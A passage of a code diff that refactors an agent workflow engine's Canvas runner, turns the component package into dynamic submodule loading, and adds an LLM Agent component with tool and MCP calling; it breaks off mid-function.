             param = component_class(cpn["obj"]["component_name"] + "Param")()
             param.update(cpn["obj"]["params"])
-            param.check()
+            try:
+                param.check()
+            except Exception as e:
+                raise ValueError(self.get_component_name(k) + f": {e}")
+
             cpn["obj"] = component_class(cpn["obj"]["component_name"])(self, k, param)
-            if cpn["obj"].component_name == "Categorize":
-                for _, desc in param.category_description.items():
-                    if desc["to"] not in cpn["downstream"]:
-                        cpn["downstream"].append(desc["to"])
 
         self.path = self.dsl["path"]
         self.history = self.dsl["history"]
-        self.messages = self.dsl["messages"]
-        self.answer = self.dsl["answer"]
-        self.reference = self.dsl["reference"]
-        self._embed_id = self.dsl.get("embed_id", "")
+        self.globals = self.dsl["globals"]
+        self.retrieval = self.dsl["retrieval"]
+        self.memory = self.dsl.get("memory", [])
 
     def __str__(self):
         self.dsl["path"] = self.path
         self.dsl["history"] = self.history
-        self.dsl["messages"] = self.messages
-        self.dsl["answer"] = self.answer
-        self.dsl["reference"] = self.reference
-        self.dsl["embed_id"] = self._embed_id
+        self.dsl["globals"] = self.globals
+        self.dsl["task_id"] = self.task_id
+        self.dsl["retrieval"] = self.retrieval
+        self.dsl["memory"] = self.memory
         dsl = {
             "components": {}
         }
@@ -150,163 +160,266 @@ class Canvas:
                 dsl["components"][k][c] = deepcopy(cpn[c])
         return json.dumps(dsl, ensure_ascii=False)
 
-    def reset(self):
+    def reset(self, mem=False):
         self.path = []
-        self.history = []
-        self.messages = []
-        self.answer = []
-        self.reference = []
+        if not mem:
+            self.history = []
+            self.retrieval = []
+            self.memory = []
         for k, cpn in self.components.items():
             self.components[k]["obj"].reset()
-        self._embed_id = ""
+
+        for k in self.globals.keys():
+            if isinstance(self.globals[k], str):
+                self.globals[k] = ""
+            elif isinstance(self.globals[k], int):
+                self.globals[k] = 0
+            elif isinstance(self.globals[k], float):
+                self.globals[k] = 0
+            elif isinstance(self.globals[k], list):
+                self.globals[k] = []
+            elif isinstance(self.globals[k], dict):
+                self.globals[k] = {}
+            else:
+                self.globals[k] = None
+
+        try:
+            REDIS_CONN.delete(f"{self.task_id}-logs")
+        except Exception as e:
+            logging.exception(e)
 
     def get_component_name(self, cid):
-        for n in self.dsl["graph"]["nodes"]:
+        for n in self.dsl.get("graph", {}).get("nodes", []):
             if cid == n["id"]:
                 return n["data"]["name"]
         return ""
 
-    def run(self, running_hint_text = "is running...🕞", **kwargs):
-        if not running_hint_text or not isinstance(running_hint_text, str):
-            running_hint_text = "is running...🕞"
+    def run(self, **kwargs):
+        st = time.perf_counter()
+        self.message_id = get_uuid()
+        created_at = int(time.time())
+        self.add_user_input(kwargs.get("query"))
 
-        if self.answer:
-            cpn_id = self.answer[0]
-            self.answer.pop(0)
-            try:
-                ans = self.components[cpn_id]["obj"].run(self.history, **kwargs)
-            except Exception as e:
-                ans = ComponentBase.be_output(str(e))
-            self.path[-1].append(cpn_id)
-            if kwargs.get("stream"):
-                for an in ans():
-                    yield an
-            else:
-                yield ans
-            return
-
-        if not self.path:
-            self.components["begin"]["obj"].run(self.history, **kwargs)
-            self.path.append(["begin"])
-
-        self.path.append([])
-
-        ran = -1
-        waiting = []
-        without_dependent_checking = []
-
-        def prepare2run(cpns):
-            nonlocal ran, ans
-            for c in cpns:
-                if self.path[-1] and c == self.path[-1][-1]:
-                    continue
-                cpn = self.components[c]["obj"]
-                if cpn.component_name == "Answer":
-                    self.answer.append(c)
+        for k in kwargs.keys():
+            if k in ["query", "user_id", "files"] and kwargs[k]:
+                if k == "files":
+                    self.globals[f"sys.{k}"] = self.get_files(kwargs[k])
                 else:
-                    logging.debug(f"Canvas.prepare2run: {c}")
-                    if c not in without_dependent_checking:
-                        cpids = cpn.get_dependent_components()
-                        if any([cc not in self.path[-1] for cc in cpids]):
-                            if c not in waiting:
-                                waiting.append(c)
-                            continue
-                    yield "*'{}'* {}".format(self.get_component_name(c), running_hint_text)
+                    self.globals[f"sys.{k}"] = kwargs[k]
+        if not self.globals["sys.conversation_turns"] :
+            self.globals["sys.conversation_turns"] = 0
+        self.globals["sys.conversation_turns"] += 1
 
-                    if cpn.component_name.lower() == "iteration":
-                        st_cpn = cpn.get_start()
-                        assert st_cpn, "Start component not found for Iteration."
-                        if not st_cpn["obj"].end():
-                            cpn = st_cpn["obj"]
-                            c = cpn._id
+        def decorate(event, dt):
+            nonlocal created_at
+            return {
+                "event": event,
+                #"conversation_id": "f3cc152b-24b0-4258-a1a1-7d5e9fc8a115",
+                "message_id": self.message_id,
+                "created_at": created_at,
+                "task_id": self.task_id,
+                "data": dt
+            }
 
-                    try:
-                        ans = cpn.run(self.history, **kwargs)
-                    except Exception as e:
-                        logging.exception(f"Canvas.run got exception: {e}")
-                        self.path[-1].append(c)
-                        ran += 1
-                        raise e
-                    self.path[-1].append(c)
+        if not self.path or self.path[-1].lower().find("userfillup") < 0:
+            self.path.append("begin")
+            self.retrieval.append({"chunks": [], "doc_aggs": []})
 
-            ran += 1
+        yield decorate("workflow_started", {"inputs": kwargs.get("inputs")})
+        self.retrieval.append({"chunks": {}, "doc_aggs": {}})
 
-        downstream = self.components[self.path[-2][-1]]["downstream"]
-        if not downstream and self.components[self.path[-2][-1]].get("parent_id"):
-            cid = self.path[-2][-1]
-            pid = self.components[cid]["parent_id"]
-            o, _ = self.components[cid]["obj"].output(allow_partial=False)
-            oo, _ = self.components[pid]["obj"].output(allow_partial=False)
-            self.components[pid]["obj"].set_output(pd.concat([oo, o], ignore_index=True).dropna())
-            downstream = [pid]
+        def _run_batch(f, t):
+            with ThreadPoolExecutor(max_workers=5) as executor:
+                thr = []
+                for i in range(f, t):
+                    cpn = self.get_component_obj(self.path[i])
+                    if cpn.component_name.lower() in ["begin", "userfillup"]:
+                        thr.append(executor.submit(cpn.invoke, inputs=kwargs.get("inputs", {})))
+                    else:
+                        thr.append(executor.submit(cpn.invoke, **cpn.get_input()))
+                for t in thr:
+                    t.result()
 
-        for m in prepare2run(downstream):
-            yield {"content": m, "running_status": True}
+        def _node_finished(cpn_obj):
+            return decorate("node_finished",{
+                           "inputs": cpn_obj.get_input_values(),
+                           "outputs": cpn_obj.output(),
+                           "component_id": cpn_obj._id,
+                           "component_name": self.get_component_name(cpn_obj._id),
+                           "component_type": self.get_component_type(cpn_obj._id),
+                           "error": cpn_obj.error(),
+                           "elapsed_time": time.perf_counter() - cpn_obj.output("_created_time"),
+                           "created_at": cpn_obj.output("_created_time"),
+                       })
 
-        while 0 <= ran < len(self.path[-1]):
-            logging.debug(f"Canvas.run: {ran} {self.path}")
-            cpn_id = self.path[-1][ran]
-            cpn = self.get_component(cpn_id)
-            if not any([cpn["downstream"], cpn.get("parent_id"), waiting]):
+        self.error = ""
+        idx = len(self.path) - 1
+        partials = []
+        while idx < len(self.path):
+            to = len(self.path)
+            for i in range(idx, to):
+                yield decorate("node_started", {
+                    "inputs": None, "created_at": int(time.time()),
+                    "component_id": self.path[i],
+                    "component_name": self.get_component_name(self.path[i]),
+                    "component_type": self.get_component_type(self.path[i]),
+                    "thoughts": self.get_component_thoughts(self.path[i])
+                })
+            _run_batch(idx, to)
+
+            # post processing of components invocation
+            for i in range(idx, to):
+                cpn = self.get_component(self.path[i])
+                cpn_obj = self.get_component_obj(self.path[i])
+                if cpn_obj.component_name.lower() == "message":
+                    if isinstance(cpn_obj.output("content"), partial):
+                        _m = ""
+                        for m in cpn_obj.output("content")():
+                            if not m:
+                                continue
+                            if m == "<think>":
+                                yield decorate("message", {"content": "", "start_to_think": True})
+                            elif m == "</think>":
+                                yield decorate("message", {"content": "", "end_to_think": True})
+                            else:
+                                yield decorate("message", {"content": m})
+                                _m += m
+                        cpn_obj.set_output("content", _m)
+                    else:
+                        yield decorate("message", {"content": cpn_obj.output("content")})
+                    yield decorate("message_end", {"reference": self.get_reference()})
+
+                    while partials:
+                        _cpn_obj = self.get_component_obj(partials[0])
+                        if isinstance(_cpn_obj.output("content"), partial):
+                            break
+                        yield _node_finished(_cpn_obj)
+                        partials.pop(0)
+
+                other_branch = False
+                if cpn_obj.error():
+                    ex = cpn_obj.exception_handler()
+                    if ex and ex["goto"]:
+                        self.path.extend(ex["goto"])
+                        other_branch = True
+                    elif ex and ex["default_value"]:
+                        yield decorate("message", {"content": ex["default_value"]})
+                        yield decorate("message_end", {})
+                    else:
+                        self.error = cpn_obj.error()
+
+                if cpn_obj.component_name.lower() != "iteration":
+                    if isinstance(cpn_obj.output("content"), partial):
+                        if self.error:
+                            cpn_obj.set_output("content", None)
+                            yield _node_finished(cpn_obj)
+                        else:
+                            partials.append(self.path[i])
+                    else:
+                        yield _node_finished(cpn_obj)
+
+                def _append_path(cpn_id):
+                    nonlocal other_branch
+                    if other_branch:
+                        return
+                    if self.path[-1] == cpn_id:
+                        return
+                    self.path.append(cpn_id)
+
+                def _extend_path(cpn_ids):
+                    nonlocal other_branch
+                    if other_branch:
+                        return
+                    for cpn_id in cpn_ids:
+                        _append_path(cpn_id)
+
+                if cpn_obj.component_name.lower() == "iterationitem" and cpn_obj.end():
+                    iter = cpn_obj.get_parent()
+                    yield _node_finished(iter)
+                    _extend_path(self.get_component(cpn["parent_id"])["downstream"])
+                elif cpn_obj.component_name.lower() in ["categorize", "switch"]:
+                    _extend_path(cpn_obj.output("_next"))
+                elif cpn_obj.component_name.lower() == "iteration":
+                    _append_path(cpn_obj.get_start())
+                elif not cpn["downstream"] and cpn_obj.get_parent():
+                    _append_path(cpn_obj.get_parent().get_start())
+                else:
+                    _extend_path(cpn["downstream"])
+
+            if self.error:
+                logging.error(f"Runtime Error: {self.error}")
                 break
+            idx = to
 
-            loop = self._find_loop()
-            if loop:
-                raise OverflowError(f"Too much loops: {loop}")
+            if any([self.get_component_obj(c).component_name.lower() == "userfillup" for c in self.path[idx:]]):
+                path = [c for c in self.path[idx:] if self.get_component(c)["obj"].component_name.lower() == "userfillup"]
+                path.extend([c for c in self.path[idx:] if self.get_component(c)["obj"].component_name.lower() != "userfillup"])
+                another_inputs = {}
+                tips = ""
+                for c in path:
+                    o = self.get_component_obj(c)
+                    if o.component_name.lower() == "userfillup":
+                        another_inputs.update(o.get_input_elements())
+                        if o.get_param("enable_tips"):
+                            tips = o.get_param("tips")
+                self.path = path
+                yield decorate("user_inputs", {"inputs": another_inputs, "tips": tips})
+                return
 
-            downstream = []
-            if cpn["obj"].component_name.lower() in ["switch", "categorize", "relevant"]:
-                switch_out = cpn["obj"].output()[1].iloc[0, 0]
-                assert switch_out in self.components, \
-                    "{}'s output: {} not valid.".format(cpn_id, switch_out)
-                downstream = [switch_out]
-            else:
-                downstream = cpn["downstream"]
+        self.path = self.path[:idx]
+        if not self.error:
+            yield decorate("workflow_finished",
+                       {
+                           "inputs": kwargs.get("inputs"),
+                           "outputs": self.get_component_obj(self.path[-1]).output(),
+                           "elapsed_time": time.perf_counter() - st,
+                           "created_at": st,
+                       })
+            self.history.append(("assistant", self.get_component_obj(self.path[-1]).output()))
 
-            if not downstream and cpn.get("parent_id"):
-                pid = cpn["parent_id"]
-                _, o = cpn["obj"].output(allow_partial=False)
-                _, oo = self.components[pid]["obj"].output(allow_partial=False)
-                self.components[pid]["obj"].set_output(pd.concat([oo.dropna(axis=1), o.dropna(axis=1)], ignore_index=True).dropna())
-                downstream = [pid]
+    def get_component(self, cpn_id) -> Union[None, dict[str, Any]]:
+        return self.components.get(cpn_id)
 
-            for m in prepare2run(downstream):
-                yield {"content": m, "running_status": True}
+    def get_component_obj(self, cpn_id) -> ComponentBase:
+        return self.components.get(cpn_id)["obj"]
 
-            if ran >= len(self.path[-1]) and waiting:
-                without_dependent_checking = waiting
-                waiting = []
-                for m in prepare2run(without_dependent_checking):
-                    yield {"content": m, "running_status": True}
-                without_dependent_checking = []
-                ran -= 1
+    def get_component_type(self, cpn_id) -> str:
+        return self.components.get(cpn_id)["obj"].component_name
 
-        if self.answer:
-            cpn_id = self.answer[0]
-            self.answer.pop(0)
-            ans = self.components[cpn_id]["obj"].run(self.history, **kwargs)
-            self.path[-1].append(cpn_id)
-            if kwargs.get("stream"):
-                assert isinstance(ans, partial)
-                for an in ans():
-                    yield an
-            else:
-                yield ans
+    def get_component_input_form(self, cpn_id) -> dict:
+        return self.components.get(cpn_id)["obj"].get_input_form()
 
-        else:
-            raise Exception("The dialog flow has no way to interact with you. Please add an 'Interact' component to the end of the flow.")
+    def is_reff(self, exp: str) -> bool:
+        exp = exp.strip("{").strip("}")
+        if exp.find("@") < 0:
+            return exp in self.globals
+        arr = exp.split("@")
+        if len(arr) != 2:
+            return False
+        if self.get_component(arr[0]) is None:
+            return False
+        return True
 
-    def get_component(self, cpn_id):
-        return self.components[cpn_id]
+    def get_variable_value(self, exp: str) -> Any:
+        exp = exp.strip("{").strip("}").strip(" ").strip("{").strip("}")
+        if exp.find("@") < 0:
+            return self.globals[exp]
+        cpn_id, var_nm = exp.split("@")
+        cpn = self.get_component(cpn_id)
+        if not cpn:
+            raise Exception(f"Can't find variable: '{cpn_id}@{var_nm}'")
+        return cpn["obj"].output(var_nm)
 
     def get_tenant_id(self):
         return self._tenant_id
 
     def get_history(self, window_size):
         convs = []
+        if window_size <= 0:
+            return convs
         for role, obj in self.history[window_size * -1:]:
-            if isinstance(obj, list) and obj and all([isinstance(o, dict) for o in obj]):
-                convs.append({"role": role, "content": '\n'.join([str(s.get("content", "")) for s in obj])})
+            if isinstance(obj, dict):
+                convs.append({"role": role, "content": obj.get("content", "")})
             else:
                 convs.append({"role": role, "content": str(obj)})
         return convs
@@ -314,12 +427,6 @@ class Canvas:
     def add_user_input(self, question):
         self.history.append(("user", question))
 
-    def set_embedding_model(self, embed_id):
-        self._embed_id = embed_id
-
-    def get_embedding_model(self):
-        return self._embed_id
-
     def _find_loop(self, max_loops=6):
         path = self.path[-1][::-1]
         if len(path) < 2:
@@ -354,17 +461,78 @@ class Canvas:
         return self.components["begin"]["obj"]._param.prologue
 
     def set_global_param(self, **kwargs):
-        for k, v in kwargs.items():
-            for q in self.components["begin"]["obj"]._param.query:
-                if k != q["key"]:
-                    continue
-                q["value"] = v
+        self.globals.update(kwargs)
 
     def get_preset_param(self):
-        return self.components["begin"]["obj"]._param.query
+        return self.components["begin"]["obj"]._param.inputs
 
     def get_component_input_elements(self, cpnnm):
         return self.components[cpnnm]["obj"].get_input_elements()
-    
-    def set_component_infor(self, cpn_id, infor):
-        self.components[cpn_id]["obj"].set_infor(infor)
+
+    def get_files(self, files: Union[None, list[dict]]) -> list[str]:
+        if not files:
+            return  []
+        def image_to_base64(file):
+            return "data:{};base64,{}".format(file["mime_type"],
+                                        base64.b64encode(FileService.get_blob(file["created_by"], file["id"])).decode("utf-8"))
+        exe = ThreadPoolExecutor(max_workers=5)
+        threads = []
+        for file in files:
+            if file["mime_type"].find("image") >=0:
+                threads.append(exe.submit(image_to_base64, file))
+                continue
+            threads.append(exe.submit(FileService.parse, file["name"], FileService.get_blob(file["created_by"], file["id"]), True, file["created_by"]))
+        return [th.result() for th in threads]
+
+    def tool_use_callback(self, agent_id: str, func_name: str, params: dict, result: Any, elapsed_time=None):
+        agent_ids = agent_id.split("-->")
+        agent_name = self.get_component_name(agent_ids[0])
+        path = agent_name if len(agent_ids) < 2 else agent_name+"-->"+"-->".join(agent_ids[1:])
+        try:
+            bin = REDIS_CONN.get(f"{self.task_id}-{self.message_id}-logs")
+            if bin:
+                obj = json.loads(bin.encode("utf-8"))
+                if obj[-1]["component_id"] == agent_ids[0]:
+                    obj[-1]["trace"].append({"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time})
+                else:
+                    obj.append({
+                    "component_id": agent_ids[0],
+                    "trace": [{"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time}]
+                })
+            else:
+                obj = [{
+                    "component_id": agent_ids[0],
+                    "trace": [{"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time}]
+                }]
+            REDIS_CONN.set_obj(f"{self.task_id}-{self.message_id}-logs", obj, 60*10)
+        except Exception as e:
+            logging.exception(e)
+
+    def add_refernce(self, chunks: list[object], doc_infos: list[object]):
+        if not self.retrieval:
+            self.retrieval = [{"chunks": {}, "doc_aggs": {}}]
+
+        r = self.retrieval[-1]
+        for ck in chunks_format({"chunks": chunks}):
+            cid = hash_str2int(ck["id"], 100)
+            if cid not in r:
+                r["chunks"][cid] = ck
+
+        for doc in doc_infos:
+            if doc["doc_name"] not in r:
+                r["doc_aggs"][doc["doc_name"]] = doc
+
+    def get_reference(self):
+        if not self.retrieval:
+            return {"chunks": {}, "doc_aggs": {}}
+        return self.retrieval[-1]
+
+    def add_memory(self, user:str, assist:str, summ: str):
+        self.memory.append((user, assist, summ))
+
+    def get_memory(self) -> list[Tuple]:
+        return self.memory
+
+    def get_component_thoughts(self, cpn_id) -> str:
+        return self.components.get(cpn_id)["obj"].thoughts()
+

agent/component/__init__.py

@@ -14,123 +14,44 @@
 #  limitations under the License.
 #
 
+import os
 import importlib
-from .begin import Begin, BeginParam
-from .generate import Generate, GenerateParam
-from .retrieval import Retrieval, RetrievalParam
-from .answer import Answer, AnswerParam
-from .categorize import Categorize, CategorizeParam
-from .switch import Switch, SwitchParam
-from .relevant import Relevant, RelevantParam
-from .message import Message, MessageParam
-from .rewrite import RewriteQuestion, RewriteQuestionParam
-from .keyword import KeywordExtract, KeywordExtractParam
-from .concentrator import Concentrator, ConcentratorParam
-from .baidu import Baidu, BaiduParam
-from .duckduckgo import DuckDuckGo, DuckDuckGoParam
-from .wikipedia import Wikipedia, WikipediaParam
-from .pubmed import PubMed, PubMedParam
-from .arxiv import ArXiv, ArXivParam
-from .google import Google, GoogleParam
-from .bing import Bing, BingParam
-from .googlescholar import GoogleScholar, GoogleScholarParam
-from .deepl import DeepL, DeepLParam
-from .github import GitHub, GitHubParam
-from .baidufanyi import BaiduFanyi, BaiduFanyiParam
-from .qweather import QWeather, QWeatherParam
-from .exesql import ExeSQL, ExeSQLParam
-from .yahoofinance import YahooFinance, YahooFinanceParam
-from .wencai import WenCai, WenCaiParam
-from .jin10 import Jin10, Jin10Param
-from .tushare import TuShare, TuShareParam
-from .akshare import AkShare, AkShareParam
-from .crawler import Crawler, CrawlerParam
-from .invoke import Invoke, InvokeParam
-from .template import Template, TemplateParam
-from .email import Email, EmailParam
-from .iteration import Iteration, IterationParam
-from .iterationitem import IterationItem, IterationItemParam
-from .code import Code, CodeParam
+import inspect
+from types import ModuleType
+from typing import Dict, Type
+
+_package_path = os.path.dirname(__file__)
+__all_classes: Dict[str, Type] = {}
+
+def _import_submodules() -> None:
+    for filename in os.listdir(_package_path): # noqa: F821
+        if filename.startswith("__") or not filename.endswith(".py") or filename.startswith("base"):
+            continue
+        module_name = filename[:-3]
+
+        try:
+            module = importlib.import_module(f".{module_name}", package=__name__)
+            _extract_classes_from_module(module)  # noqa: F821
+        except ImportError as e:
+            print(f"Warning: Failed to import module {module_name}: {str(e)}")
+
+def _extract_classes_from_module(module: ModuleType) -> None:
+    for name, obj in inspect.getmembers(module):
+        if (inspect.isclass(obj) and
+                obj.__module__ == module.__name__ and not name.startswith("_")):
+            __all_classes[name] = obj
+            globals()[name] = obj
+
+_import_submodules()
+
+__all__ = list(__all_classes.keys()) + ["__all_classes"]
+
+del _package_path, _import_submodules, _extract_classes_from_module
 
 
 def component_class(class_name):
     m = importlib.import_module("agent.component")
-    c = getattr(m, class_name)
-    return c
-
-
-__all__ = [
-    "Begin",
-    "BeginParam",
-    "Generate",
-    "GenerateParam",
-    "Retrieval",
-    "RetrievalParam",
-    "Answer",
-    "AnswerParam",
-    "Categorize",
-    "CategorizeParam",
-    "Switch",
-    "SwitchParam",
-    "Relevant",
-    "RelevantParam",
-    "Message",
-    "MessageParam",
-    "RewriteQuestion",
-    "RewriteQuestionParam",
-    "KeywordExtract",
-    "KeywordExtractParam",
-    "Concentrator",
-    "ConcentratorParam",
-    "Baidu",
-    "BaiduParam",
-    "DuckDuckGo",
-    "DuckDuckGoParam",
-    "Wikipedia",
-    "WikipediaParam",
-    "PubMed",
-    "PubMedParam",
-    "ArXiv",
-    "ArXivParam",
-    "Google",
-    "GoogleParam",
-    "Bing",
-    "BingParam",
-    "GoogleScholar",
-    "GoogleScholarParam",
-    "DeepL",
-    "DeepLParam",
-    "GitHub",
-    "GitHubParam",
-    "BaiduFanyi",
-    "BaiduFanyiParam",
-    "QWeather",
-    "QWeatherParam",
-    "ExeSQL",
-    "ExeSQLParam",
-    "YahooFinance",
-    "YahooFinanceParam",
-    "WenCai",
-    "WenCaiParam",
-    "Jin10",
-    "Jin10Param",
-    "TuShare",
-    "TuShareParam",
-    "AkShare",
-    "AkShareParam",
-    "Crawler",
-    "CrawlerParam",
-    "Invoke",
-    "InvokeParam",
-    "Iteration",
-    "IterationParam",
-    "IterationItem",
-    "IterationItemParam",
-    "Template",
-    "TemplateParam",
-    "Email",
-    "EmailParam",
-    "Code",
-    "CodeParam",
-    "component_class"
-]
+    try:
+        return getattr(m, class_name)
+    except Exception:
+        return getattr(importlib.import_module("agent.tools"), class_name)

agent/component/agent_with_tools.py

@@ -0,0 +1,349 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+import os
+import re
+from concurrent.futures import ThreadPoolExecutor
+from copy import deepcopy
+from functools import partial
+from typing import Any
+
+import json_repair
+from timeit import default_timer as timer
+from agent.tools.base import LLMToolPluginCallSession, ToolParamBase, ToolBase, ToolMeta
+from api.db.services.llm_service import LLMBundle
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.mcp_server_service import MCPServerService
+from api.utils.api_utils import timeout
+from rag.prompts import message_fit_in
+from rag.prompts.prompts import next_step, COMPLETE_TASK, analyze_task, \
+    citation_prompt, reflect, rank_memories, kb_prompt, citation_plus, full_question
+from rag.utils.mcp_tool_call_conn import MCPToolCallSession, mcp_tool_metadata_to_openai_tool
+from agent.component.llm import LLMParam, LLM
+
+
+class AgentParam(LLMParam, ToolParamBase):
+    """
+    Define the Agent component parameters.
+    """
+
+    def __init__(self):
+        self.meta:ToolMeta = {
+                "name": "agent",
+                "description": "This is an agent for a specific task.",
+                "parameters": {
+                    "user_prompt": {
+                        "type": "string",
+                        "description": "This is the order you need to send to the agent.",
+                        "default": "",
+                        "required": True
+                    },
+                    "reasoning": {
+                        "type": "string",
+                        "description": (
+                            "Supervisor's reasoning for choosing the this agent. "
+                            "Explain why this agent is being invoked and what is expected of it."
+                        ),
+                        "required": True
+                    },
+                    "context": {
+                        "type": "string",
+                        "description": (
+                                "All relevant background information, prior facts, decisions, "
+                                "and state needed by the agent to solve the current query. "
+                                "Should be as detailed and self-contained as possible."
+                            ),
+                        "required": True
+                    },
+                }
+            }
+        super().__init__()
+        self.function_name = "agent"
+        self.tools = []
+        self.mcp = []
+        self.max_rounds = 5
+        self.description = ""
+
+
+class Agent(LLM, ToolBase):
+    component_name = "Agent"
+
+    def __init__(self, canvas, id, param: LLMParam):
+        LLM.__init__(self, canvas, id, param)
+        self.tools = {}
+        for cpn in self._param.tools:
+            cpn = self._load_tool_obj(cpn)
+            self.tools[cpn.get_meta()["function"]["name"]] = cpn
+
+        self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), TenantLLMService.llm_id2llm_type(self._param.llm_id), self._param.llm_id,
+                                  max_retries=self._param.max_retries,
+                                  retry_interval=self._param.delay_after_error,
+                                  max_rounds=self._param.max_rounds,
+                                  verbose_tool_use=True
+                                  )
+        self.tool_meta = [v.get_meta() for _,v in self.tools.items()]
+
+        for mcp in self._param.mcp:
+            _, mcp_server = MCPServerService.get_by_id(mcp["mcp_id"])
+            tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables)
+            for tnm, meta in mcp["tools"].items():
+                self.tool_meta.append(mcp_tool_metadata_to_openai_tool(meta))
+                self.tools[tnm] = tool_call_session
+        self.callback = partial(self._canvas.tool_use_callback, id)
+        self.toolcall_session = LLMToolPluginCallSession(self.tools, self.callback)
+        #self.chat_mdl.bind_tools(self.toolcall_session, self.tool_metas)
+
+    def _load_tool_obj(self, cpn: dict) -> object:
+        from agent.component import component_class
+        param = component_class(cpn["component_name"] + "Param")()
+        param.update(cpn["params"])
+        try:
+            param.check()
+        except Exception as e:
+            self.set_output("_ERROR", cpn["component_name"] + f" configuration error: {e}")
+            raise
+        cpn_id = f"{self._id}-->" + cpn.get("name", "").replace(" ", "_")
+        return component_class(cpn["component_name"])(self._canvas, cpn_id, param)
+
+    def get_meta(self) -> dict[str, Any]:
+        self._param.function_name= self._id.split("-->")[-1]
+        m = super().get_meta()
+        if hasattr(self._param, "user_prompt") and self._param.user_prompt:
+            m["function"]["parameters"]["properties"]["user_prompt"] = self._param.user_prompt
+        return m
+
+    def get_input_form(self) -> dict[str, dict]:
+        res = {}
+        for k, v in self.get_input_elements().items():
+            res[k] = {
+                "type": "line",
+                "name": v["name"]
+            }
+        for cpn in self._param.tools:
+            if not isinstance(cpn, LLM):
+                continue
+            res.update(cpn.get_input_form())
+        return res
+
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 20*60))
+    def _invoke(self, **kwargs):
+        if kwargs.get("user_prompt"):
+            usr_pmt = ""
+            if kwargs.get("reasoning"):
+                usr_pmt += "\nREASONING:\n{}\n".format(kwargs["reasoning"])
+            if kwargs.get("context"):
+                usr_pmt += "\nCONTEXT:\n{}\n".format(kwargs["context"])
+            if usr_pmt:
+                usr_pmt += "\nQUERY:\n{}\n".format(str(kwargs["user_prompt"]))
+            else:
+                usr_pmt = str(kwargs["user_prompt"])
+            self._param.prompts = [{"role": "user", "content": usr_pmt}]
+
+        if not self.tools:
+            return LLM._invoke(self, **kwargs)
+
+        prompt, msg = self._prepare_prompt_variables()
+
+        downstreams = self._canvas.get_component(self._id)["downstream"] if self._canvas.get_component(self._id) else []
+        ex = self.exception_handler()
+        if any([self._canvas.get_component_obj(cid).component_name.lower()=="message" for cid in downstreams]) and not self._param.output_structure and not (ex and ex["goto"]):
+            self.set_output("content", partial(self.stream_output_with_tools, prompt, msg))
+            return
+
+        _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+        use_tools = []
+        ans = ""
+        for delta_ans, tk in self._react_with_tools_streamly(prompt, msg, use_tools):
+            ans += delta_ans
+
+        if ans.find("**ERROR**") >= 0:
+            logging.error(f"Agent._chat got error. response: {ans}")
+            if self.get_exception_default_value():
+                self.set_output("content", self.get_exception_default_value())
+            else:
+                self.set_output("_ERROR", ans)
+            return
+
+        self.set_output("content", ans)
+        if use_tools:
+            self.set_output("use_tools", use_tools)
+        return ans
+
+    def stream_output_with_tools(self, prompt, msg):
+        _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+        answer_without_toolcall = ""
+        use_tools = []
+        for delta_ans,_ in self._react_with_tools_streamly(prompt, msg, use_tools):
+            if delta_ans.find("**ERROR**") >= 0:
+                if self.get_exception_default_value():
+                    self.set_output("content", self.get_exception_default_value())
+                    yield self.get_exception_default_value()
+                else:
+                    self.set_output("_ERROR", delta_ans)
+            answer_without_toolcall += delta_ans
+            yield delta_ans
+
+        self.set_output("content", answer_without_toolcall)
+        if use_tools:
+            self.set_output("use_tools", use_tools)
+
+    def _gen_citations(self, text):
+        retrievals = self._canvas.get_reference()
+        retrievals = {"chunks": list(retrievals["chunks"].values()), "doc_aggs": list(retrievals["doc_aggs"].values())}
+        formated_refer = kb_prompt(retrievals, self.chat_mdl.max_length, True)
+        for delta_ans in self._generate_streamly([{"role": "system", "content": citation_plus("\n\n".join(formated_refer))},
+                                                  {"role": "user", "content": text}
+                                                  ]):
+            yield delta_ans
+
+    def _react_with_tools_streamly(self, prompt, history: list[dict], use_tools):
+        token_count = 0
+        tool_metas = self.tool_meta
+        hist = deepcopy(history)
+        last_calling = ""
+        if len(hist) > 3:
+            st = timer()
+            user_request = full_question(messages=history, chat_mdl=self.chat_mdl)
+            self.callback("Multi-turn conversation optimization", {}, user_request, elapsed_time=timer()-st)
+        else:
+            user_request = history[-1]["content"]
+
+        def use_tool(name, args):
+            nonlocal hist, use_tools, token_count,last_calling,user_request
+            logging.info(f"{last_calling=} == {name=}")
+            # Summarize of function calling
+            #if all([
+            #    isinstance(self.toolcall_session.get_tool_obj(name), Agent),
+            #    last_calling,
+            #    last_calling != name
+            #]):
+            #    self.toolcall_session.get_tool_obj(name).add2system_prompt(f"The chat history with other agents are as following: \n" + self.get_useful_memory(user_request, str(args["user_prompt"])))
+            last_calling = name
+            tool_response = self.toolcall_session.tool_call(name, args)
+            use_tools.append({
+                "name": name,
+                "arguments": args,
+                "results": tool_response
+            })
+            # self.callback("add_memory", {}, "...")
+            #self.add_memory(hist[-2]["content"], hist[-1]["content"], name, args, str(tool_response))
+
+            return name, tool_response
+
+        def complete():
+            nonlocal hist
+            need2cite = self._param.cite and self._canvas.get_reference()["chunks"] and self._id.find("-->") < 0
+            cited = False
+            if hist[0]["role"] == "system" and need2cite:
+                if len(hist) < 7:
+                    hist[0]["content"] += citation_prompt()
+                    cited = True
+            yield "", token_count
+
+            _hist = hist
+            if len(hist) > 12:
+                _hist = [hist[0], hist[1], *hist[-10:]]
+            entire_txt = ""
+            for delta_ans in self._generate_streamly(_hist):
+                if not need2cite or cited:
